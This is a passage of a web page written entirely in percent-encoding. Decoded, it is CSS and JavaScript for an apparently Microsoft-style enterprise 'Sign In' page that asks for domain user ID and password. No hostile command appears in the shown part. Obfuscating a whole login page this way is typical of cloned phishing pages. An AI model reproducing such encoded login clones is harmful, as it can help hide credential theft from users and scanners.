f%6e%74%2d%77%65%69%67%68%74%3a%6c%69%67%68%74%65%72%3b%0d%0a%7d%0d%0a%68%33%2c%20%2e%6e%6f%72%6d%61%6c%54%65%78%74%0d%0a%7b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%31%2e%30%65%6d%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%6e%6f%72%6d%61%6c%3b%0d%0a%7d%0d%0a%68%34%2c%20%2e%73%6d%61%6c%6c%54%65%78%74%0d%0a%7b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%30%2e%39%65%6d%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%6e%6f%72%6d%61%6c%3b%0d%0a%7d%0d%0a%68%35%2c%20%2e%74%69%6e%79%54%65%78%74%0d%0a%7b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%30%2e%38%65%6d%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%6e%6f%72%6d%61%6c%3b%0d%0a%7d%0d%0a%2e%68%69%6e%74%0d%0a%7b%0d%0a%20%20%20%20%63%6f%6c%6f%72%3a%23%39%39%39%39%39%39%3b%0d%0a%7d%0d%0a%2e%65%6d%70%68%61%73%69%73%0d%0a%7b%0d%0a%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%37%30%30%3b%0d%0a%20%20%20%20%63%6f%6c%6f%72%3a%23%32%46%32%46%32%46%3b%0d%0a%7d%20%0d%0a%2e%73%6d%61%6c%6c%49%63%6f%6e%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%32%30%70%78%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%2d%72%69%67%68%74%3a%31%32%70%78%3b%0d%0a%20%20%20%20%76%65%72%74%69%63%61%6c%2d%61%6c%69%67%6e%3a%6d%69%64%64%6c%65%3b%0d%0a%7d%0d%0a%2e%6c%61%72%67%65%49%63%6f%6e%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%34%38%70%78%3b%0d%0a%20%20%20%20%2f%2a%20%77%69%64%74%68%3a%34%38%70%78%3b%20%2a%2f%0d%0a%20%20%20%20%76%65%72%74%69%63%61%6c%2d%61%6c%69%67%6e%3a%6d%69%64%64%6c%65%3b%0d%0a%7d%0d%0a%2e%6c%61%72%67%65%54%65%78%74%4e%6f%57%72%61%70%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%34%38%70%78%3b%0d%0a%20%20%20%20%64%69%73%70%6c%61%79%3a%74%61%62%6c%65%2d%63%65%6c%6c%3b%20%2f%2a%20%6e%65%65%64%65%64%20%77%68%65%6e%20%69%6e%20%66%6c%6f%61%74%2a%2f%0d%0a%20%20%20%20%76%65%72%74%69%63%61%6c%2d%61%6c%69%67%6e%3a%6d%69%64%64%6c%65%3b%0d%0a%20%20%20%20%77%68%69%74%65%2d%73%70%61%63%65%3a%6e%6f%77%72%61%70%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%31%2e%32%65%6d%3b%0d%0a%7d%0d%0a%2e%69%64%70%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%34%38%70%78%3b%0d%0a%20%20%20%20%63%6c%65%61%72%3a%62%6f%74%68%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%3a%38%70%78%3b%0d%0a%20%20%20%20%6f%76%65%72%66%6c%6f%77%3a%68%69%64%64%65%6e%3b%0d%0a%7d%0d%0a%2e%69%64%70%3a%68%6f%76%65%72%20%0d%0a%7b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%23%63%63%63%63%63%63%3b%0d%0a%7d%0d%0a%2e%69%64%70%44%65%73%63%72%69%70%74%69%6f%6e%0d%0a%7b%0d%0a%20%20%20%20%77%69%64%74%68%3a%38%30%25%3b%0d%0a%7d%0d%0a%0d%0a%2f%2a%20%46%6f%72%6d%20%66%61%63%74%6f%72%3a%20%69%6e%74%65%72%6d%65%64%69%61%74%65%20%68%65%69%67%68%74%20%6c%61%79%6f%75%74%2e%20%52%65%64%75%63%65%20%73%70%61%63%65%20%6f%66%20%74%68%65%20%68%65%61%64%65%72%2e%20%2a%2f%0d%0a%40%6d%65%64%69%61%20%6f%6e%6c%79%20%73%63%72%65%65%6e%20%61%6e%64%20%28%6d%61%78%2d%68%65%69%67%68%74%3a%20%38%32%30%70%78%29%20%7b%0d%0a%20%20%20%20%23%68%65%61%64%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%61%64%64%69%6e%67%2d%74%6f%70%3a%20%34%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%6d%69%6e%2d%68%65%69%67%68%74%3a%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%6f%76%65%72%66%6c%6f%77%3a%20%68%69%64%64%65%6e%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%77%6f%72%6b%41%72%65%61%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%36%30%70%78%3b%20%0d%0a%20%20%20%20%7d%0d%0a%7d%0d%0a%0d%0a%2f%2a%20%46%6f%72%6d%20%66%61%63%74%6f%72%3a%20%69%6e%74%65%72%6d%65%64%69%61%74%65%20%68%65%69%67%68%74%20%6c%61%79%6f%75%74%2e%20%52%65%64%75%63%65%20%73%70%61%63%65%20%6f%66%20%74%68%65%20%68%65%61%64%65%72%2e%20%2a%2f%0d%0a%40%6d%65%64%69%61%20%6f%6e%6c%79%20%73%63%72%65%65%6e%20%61%6e%64%20%28%6d%61%78%2d%68%65%69%67%68%74%3a%20%35%30%30%70%78%29%20%7b%0d%0a%20%20%20%20%23%68%65%61%64%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%61%64%64%69%6e%67%2d%74%6f%70%3a%20%33%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%20%33%30%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%23%77%6f%72%6b%41%72%65%61%7b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%34%30%70%78%3b%20%0d%0a%20%20%20%20%7d%0d%0a%7d%0d%0a%0d%0a%2f%2a%20%46%6f%72%6d%20%66%61%63%74%6f%72%3a%20%69%6e%74%65%72%6d%65%64%69%61%74%65%20%6c%61%79%6f%75%74%20%28%57%41%42%20%69%6e%20%6e%6f%6e%2d%73%6e%61%70%70%65%64%20%76%69%65%77%20%66%61%6c%6c%73%20%69%6e%20%68%65%72%65%29%20%2a%2f%0d%0a%40%6d%65%64%69%61%20%6f%6e%6c%79%20%73%63%72%65%65%6e%20%61%6e%64%20%28%6d%61%78%2d%77%69%64%74%68%3a%20%36%30%30%70%78%29%20%7b%0d%0a%20%20%20%20%68%74%6d%6c%2c%20%62%6f%64%79%20%7b%0d%0a%20%20%20%20%20%20%20%20%6d%69%6e%2d%77%69%64%74%68%3a%20%32%36%30%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%63%6f%6e%74%65%6e%74%57%72%61%70%70%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%66%6c%6f%61%74%3a%20%6e%6f%6e%65%3b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%3a%20%30%70%78%20%61%75%74%6f%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%63%6f%6e%74%65%6e%74%2c%20%23%66%6f%6f%74%65%72%2c%20%23%68%65%61%64%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%34%30%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%70%61%64%64%69%6e%67%2d%6c%65%66%74%3a%20%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%70%61%64%64%69%6e%67%2d%72%69%67%68%74%3a%20%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%6c%65%66%74%3a%20%61%75%74%6f%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%72%69%67%68%74%3a%20%61%75%74%6f%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%77%6f%72%6b%41%72%65%61%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%31%30%30%25%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%2e%66%75%6c%6c%57%69%64%74%68%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%33%39%32%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%2e%66%75%6c%6c%57%69%64%74%68%49%6e%64%65%6e%74%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%33%37%36%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%7d%0d%0a%0d%0a%40%6d%65%64%69%61%20%6f%6e%6c%79%20%73%63%72%65%65%6e%20%61%6e%64%20%28%6d%61%78%2d%77%69%64%74%68%3a%20%34%35%30%70%78%29%20%7b%0d%0a%20%20%20%20%62%6f%64%79%20%7b%0d%0a%20%20%20%20%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%30%2e%38%65%6d%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%63%6f%6e%74%65%6e%74%2c%20%23%66%6f%6f%74%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%61%75%74%6f%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%72%69%67%68%74%3a%33%33%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%6c%65%66%74%3a%32%35%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%68%65%61%64%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%61%75%74%6f%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%73%70%61%6e%2e%73%75%62%6d%69%74%2c%20%69%6e%70%75%74%5b%74%79%70%65%3d%22%73%75%62%6d%69%74%22%5d%20%7b%0d%0a%20%20%20%20%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%30%2e%39%65%6d%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%2e%66%75%6c%6c%57%69%64%74%68%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%31%30%30%25%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%6c%65%66%74%3a%61%75%74%6f%3b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%2d%72%69%67%68%74%3a%61%75%74%6f%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%2e%66%75%6c%6c%57%69%64%74%68%49%6e%64%65%6e%74%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%20%38%35%25%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%2e%69%64%70%44%65%73%63%72%69%70%74%69%6f%6e%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%37%30%25%3b%0d%0a%20%20%20%20%7d%0d%0a%7d%0d%0a%0d%0a%2f%2a%20%46%6f%72%6d%20%66%61%63%74%6f%72%3a%20%73%6e%61%70%70%65%64%20%57%41%42%20%28%66%6f%72%20%57%41%42%20%74%6f%20%77%6f%72%6b%20%69%6e%20%73%6e%61%70%70%65%64%20%76%69%65%77%2c%20%74%68%65%20%63%6f%6e%74%65%6e%74%20%77%72%61%70%70%65%72%20%77%69%64%74%68%20%68%61%73%20%74%6f%20%62%65%20%73%65%74%20%74%6f%20%32%36%30%70%78%29%20%2a%2f%0d%0a%40%6d%65%64%69%61%20%6f%6e%6c%79%20%73%63%72%65%65%6e%20%61%6e%64%20%28%6d%61%78%2d%77%69%64%74%68%3a%32%38%30%70%78%29%0d%0a%7b%0d%0a%20%20%20%20%23%63%6f%6e%74%65%6e%74%57%72%61%70%70%65%72%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%69%64%74%68%3a%32%36%30%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%2e%69%64%70%44%65%73%63%72%69%70%74%69%6f%6e%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%6d%61%78%2d%77%69%64%74%68%3a%31%36%30%70%78%3b%0d%0a%20%20%20%20%20%20%20%20%6d%69%6e%2d%77%69%64%74%68%3a%31%30%30%70%78%3b%0d%0a%20%20%20%20%7d%0d%0a%7d%0d%0a%3c%2f%73%74%79%6c%65%3e%0d%0a%3c%2f%62%6f%64%79%3e%0d%0a%20%20%20%20%20%20%20%20%3c%74%69%74%6c%65%3e%53%69%67%6e%20%49%6e%3c%2f%74%69%74%6c%65%3e%0d%0a%20%20%20%20%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%0a%0d%0a%2f%2f%3c%21%5b%43%44%41%54%41%5b%0d%0a%66%75%6e%63%74%69%6f%6e%20%4c%6f%67%69%6e%45%72%72%6f%72%73%28%29%7b%74%68%69%73%2e%75%73%65%72%4e%61%6d%65%46%6f%72%6d%61%74%45%72%72%6f%72%20%3d%20%27%45%6e%74%65%72%20%79%6f%75%72%20%75%73%65%72%20%49%44%20%69%6e%20%74%68%65%20%66%6f%72%6d%61%74%20%5c%75%30%30%32%36%71%75%6f%74%3b%64%6f%6d%61%69%6e%5c%5c%75%73%65%72%5c%75%30%30%32%36%71%75%6f%74%3b%20%6f%72%20%5c%75%30%30%32%36%71%75%6f%74%3b%75%73%65%72%40%64%6f%6d%61%69%6e%5c%75%30%30%32%36%71%75%6f%74%3b%2e%27%3b%20%74%68%69%73%2e%70%61%73%73%77%6f%72%64%45%6d%70%74%79%20%3d%20%27%45%6e%74%65%72%20%79%6f%75%72%20%70%61%73%73%77%6f%72%64%2e%27%3b%7d%0d%0a%2f%2f%5d%5d%3e%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%0d%0a%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%0a%2f%2f%3c%21%5b%43%44%41%54%41%5b%0d%0a%2f%2f%20%43%6f%70%79%72%69%67%68%74%20%28%63%29%20%4d%69%63%72%6f%73%6f%66%74%20%43%6f%72%70%6f%72%61%74%69%6f%6e%2e%20%20%41%6c%6c%20%72%69%67%68%74%73%20%72%65%73%65%72%76%65%64%2e%0d%0a%66%75%6e%63%74%69%6f%6e%20%49%6e%70%75%74%55%74%69%6c%28%65%72%72%54%65%78%74%45%6c%65%6d%65%6e%74%49%44%2c%20%65%72%72%44%69%73%70%6c%61%79%45%6c%65%6d%65%6e%74%49%44%29%20%7b%0d%0a%0d%0a%20%20%20%20%69%66%20%28%21%65%72%72%54%65%78%74%45%6c%65%6d%65%6e%74%49%44%29%20%20%65%72%72%54%65%78%74%45%6c%65%6d%65%6e%74%49%44%20%3d%20%27%65%72%72%6f%72%54%65%78%74%27%3b%20%0d%0a%20%20%20%20%69%66%20%28%21%65%72%72%44%69%73%70%6c%61%79%45%6c%65%6d%65%6e%74%49%44%29%20%20%65%72%72%44%69%73%70%6c%61%79%45%6c%65%6d%65%6e%74%49%44%20%3d%20%27%65%72%72%6f%72%27%3b%20%0d%0a%0d%0a%20%20%20%20%74%68%69%73%2e%68%61%73%46%6f%63%75%73%20%3d%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%65%72%72%54%65%78%74%45%6c%65%6d%65%6e%74%49%44%29%3b%0d%0a%20%20%20%20%74%68%69%73%2e%65%72%72%44%69%73%70%6c%61%79%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%65%72%72%44%69%73%70%6c%61%79%45%6c%65%6d%65%6e%74%49%44%29%3b%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%70%72%6f%74%6f%74%79%70%65%2e%63%61%6e%44%69%73%70%6c%61%79%45%72%72%6f%72%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%0d%0a%20%20%20%20%72%65%74%75%72%6e%20%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%20%26%26%20%74%68%69%73%2e%65%72%72%44%69%73%70%6c%61%79%3b%0d%0a%7d%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%65%63%6b%45%72%72%6f%72%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%0d%0a%20%20%20%20%69%66%20%28%21%74%68%69%73%2e%63%61%6e%44%69%73%70%6c%61%79%45%72%72%6f%72%29%7b%0d%0a%20%20%20%20%20%20%20%20%74%68%72%6f%77%20%6e%65%77%20%45%72%72%6f%72%20%28%27%45%72%72%6f%72%20%65%6c%65%6d%65%6e%74%20%6e%6f%74%20%70%72%65%73%65%6e%74%27%29%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%69%66%20%28%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%20%26%26%20%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%2e%69%6e%6e%65%72%48%54%4d%4c%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%74%68%69%73%2e%65%72%72%44%69%73%70%6c%61%79%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%20%27%27%3b%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%63%61%75%73%65%20%3d%20%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%27%66%6f%72%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%69%66%20%28%63%61%75%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%63%61%75%73%65%4e%6f%64%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%63%61%75%73%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%63%61%75%73%65%4e%6f%64%65%20%26%26%20%63%61%75%73%65%4e%6f%64%65%2e%76%61%6c%75%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%61%75%73%65%4e%6f%64%65%2e%66%6f%63%75%73%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2e%68%61%73%46%6f%63%75%73%20%3d%20%74%72%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%65%6c%73%65%20%7b%0d%0a%20%20%20%20%20%20%20%20%74%68%69%73%2e%65%72%72%44%69%73%70%6c%61%79%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%20%27%6e%6f%6e%65%27%3b%0d%0a%20%20%20%20%7d%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%70%72%6f%74%6f%74%79%70%65%2e%73%65%74%49%6e%69%74%69%61%6c%46%6f%63%75%73%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%69%6e%70%75%74%29%20%7b%0d%0a%20%20%20%20%69%66%20%28%74%68%69%73%2e%68%61%73%46%6f%63%75%73%29%20%72%65%74%75%72%6e%3b%0d%0a%20%20%20%20%76%61%72%20%6e%6f%64%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%69%6e%70%75%74%29%3b%0d%0a%20%20%20%20%69%66%20%28%6e%6f%64%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%69%66%20%28%28%2f%5e%5c%73%2a%24%2f%29%2e%74%65%73%74%28%6e%6f%64%65%2e%76%61%6c%75%65%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%66%6f%63%75%73%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%74%68%69%73%2e%68%61%73%46%6f%63%75%73%20%3d%20%74%72%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%70%72%6f%74%6f%74%79%70%65%2e%73%65%74%45%72%72%6f%72%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%69%6e%70%75%74%2c%20%65%72%72%6f%72%4d%73%67%29%20%7b%0d%0a%20%20%20%20%69%66%20%28%21%74%68%69%73%2e%63%61%6e%44%69%73%70%6c%61%79%45%72%72%6f%72%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%74%68%72%6f%77%20%6e%65%77%20%45%72%72%6f%72%28%27%45%72%72%6f%72%20%65%6c%65%6d%65%6e%74%20%6e%6f%74%20%70%72%65%73%65%6e%74%27%29%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%69%6e%70%75%74%2e%66%6f%63%75%73%28%29%3b%0d%0a%0d%0a%20%20%20%20%69%66%20%28%65%72%72%6f%72%4d%73%67%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%2e%69%6e%6e%65%72%48%54%4d%4c%20%3d%20%65%72%72%6f%72%4d%73%67%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%74%68%69%73%2e%65%72%72%4c%61%62%65%6c%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%66%6f%72%27%2c%20%69%6e%70%75%74%2e%69%64%29%3b%0d%0a%20%20%20%20%74%68%69%73%2e%65%72%72%44%69%73%70%6c%61%79%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%20%27%27%3b%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%6d%61%6b%65%50%6c%61%63%65%68%6f%6c%64%65%72%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%69%6e%70%75%74%29%20%7b%0d%0a%20%20%20%20%76%61%72%20%75%61%20%3d%20%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%3b%0d%0a%0d%0a%20%20%20%20%69%66%20%28%75%61%20%21%3d%20%6e%75%6c%6c%20%26%26%20%0d%0a%20%20%20%20%20%20%20%20%28%75%61%2e%6d%61%74%63%68%28%2f%4d%53%49%45%20%39%2e%30%2f%29%20%21%3d%20%6e%75%6c%6c%20%7c%7c%20%0d%0a%20%20%20%20%20%20%20%20%20%75%61%2e%6d%61%74%63%68%28%2f%4d%53%49%45%20%38%2e%30%2f%29%20%21%3d%20%6e%75%6c%6c%20%7c%7c%0d%0a%20%20%20%20%20%20%20%20%20%75%61%2e%6d%61%74%63%68%28%2f%4d%53%49%45%20%37%2e%30%2f%29%20%21%3d%20%6e%75%6c%6c%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%6e%6f%64%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%69%6e%70%75%74%29%3b%0d%0a%20%20%20%20%20%20%20%20%69%66%20%28%6e%6f%64%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%70%6c%61%63%65%68%6f%6c%64%65%72%20%3d%20%6e%6f%64%65%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%70%6c%61%63%65%68%6f%6c%64%65%72%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%70%6c%61%63%65%68%6f%6c%64%65%72%20%21%3d%20%6e%75%6c%6c%20%26%26%20%70%6c%61%63%65%68%6f%6c%64%65%72%20%21%3d%20%27%27%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%6c%61%62%65%6c%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%69%6e%70%75%74%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%74%79%70%65%20%3d%20%22%74%65%78%74%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%76%61%6c%75%65%20%3d%20%70%6c%61%63%65%68%6f%6c%64%65%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%72%65%61%64%4f%6e%6c%79%20%3d%20%74%72%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%73%74%79%6c%65%2e%70%6f%73%69%74%69%6f%6e%20%3d%20%27%61%62%73%6f%6c%75%74%65%27%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%73%74%79%6c%65%2e%62%6f%72%64%65%72%43%6f%6c%6f%72%20%3d%20%27%74%72%61%6e%73%70%61%72%65%6e%74%27%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%63%6c%61%73%73%4e%61%6d%65%20%3d%20%6e%6f%64%65%2e%63%6c%61%73%73%4e%61%6d%65%20%2b%20%27%20%68%69%6e%74%27%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%74%61%62%49%6e%64%65%78%20%3d%20%2d%31%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6c%61%62%65%6c%2e%6f%6e%66%6f%63%75%73%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%20%74%68%69%73%2e%6e%65%78%74%53%69%62%6c%69%6e%67%2e%66%6f%63%75%73%28%29%3b%20%7d%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%73%74%79%6c%65%2e%70%6f%73%69%74%69%6f%6e%20%3d%20%27%72%65%6c%61%74%69%76%65%27%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%70%61%72%65%6e%74%4e%6f%64%65%2e%73%74%79%6c%65%2e%70%6f%73%69%74%69%6f%6e%20%3d%20%27%72%65%6c%61%74%69%76%65%27%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%70%61%72%65%6e%74%4e%6f%64%65%2e%69%6e%73%65%72%74%42%65%66%6f%72%65%28%6c%61%62%65%6c%2c%20%6e%6f%64%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%6f%6e%6b%65%79%75%70%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%20%49%6e%70%75%74%55%74%69%6c%2e%73%68%6f%77%48%69%6e%74%28%74%68%69%73%29%3b%20%7d%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%6f%6e%62%6c%75%72%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%20%49%6e%70%75%74%55%74%69%6c%2e%73%68%6f%77%48%69%6e%74%28%74%68%69%73%29%3b%20%7d%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%73%74%79%6c%65%2e%62%61%63%6b%67%72%6f%75%6e%64%20%3d%20%27%74%72%61%6e%73%70%61%72%65%6e%74%27%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%70%6c%61%63%65%68%6f%6c%64%65%72%22%2c%20%22%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%49%6e%70%75%74%55%74%69%6c%2e%73%68%6f%77%48%69%6e%74%28%6e%6f%64%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%66%6f%63%75%73%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%69%6e%70%75%74%46%69%65%6c%64%29%2